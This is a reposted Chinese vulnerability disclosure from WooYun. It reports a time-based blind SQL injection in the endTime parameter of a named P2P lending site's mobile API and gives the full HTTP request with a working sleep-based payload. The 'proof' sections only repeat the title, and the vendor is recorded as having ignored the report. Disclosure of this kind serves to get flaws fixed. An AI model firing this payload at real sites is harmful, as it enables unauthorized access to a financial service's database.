神刀安全网

漏洞标题: P2P金融安全之京金联主站存在SQL注入(ROOT)

漏洞详情

披露状态:

2016-03-28: 细节已通知厂商并且等待厂商处理中
2016-04-02: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

详细说明:

目标:www.jjlwd.com

检测发现以下地方存在SQL注入:(POST中的endTime,时间盲注)

code 区域
POST http://www.jjlwd.com/mobile/appService.do HTTP/1.1
Content-Length: 218
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.jjlwd.com/mobile/appService.do
Host: www.jjlwd.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

auth=jjlwd&endTime=2015-12-30%2023%3A59%3A59&functionType=41&info=2015&page_count=10000&page_index=0&sign=E2BFDCBE3EC3B2E291576EF46BFD9D29&startTime=2015-12-01%2000%3A00%3A00&token=D5C0B188F68A8751a3547802&userID=41911

Payload:(延时2秒)

code 区域
POST http://www.jjlwd.com/mobile/appService.do HTTP/1.1
Content-Length: 237
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://www.jjlwd.com/mobile/appService.do
Host: www.jjlwd.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

auth=jjlwd&endTime='XOR(if(now()%3Dsysdate()%2Csleep(1)%2C0))AND'&functionType=41&info=2015&page_count=10000&page_index=0&sign=E2BFDCBE3EC3B2E291576EF46BFD9D29&startTime=2015-12-01+00%3A00%3A00&token=D5C0B188F68A8751a3547802&userID=41911

漏洞证明:

1、当前数据库用户

漏洞标题:  P2P金融安全之京金联主站存在SQL注入(ROOT)

2、当前数据库

漏洞标题:  P2P金融安全之京金联主站存在SQL注入(ROOT)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: P2P金融安全之京金联主站存在SQL注入(ROOT)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址
分享按钮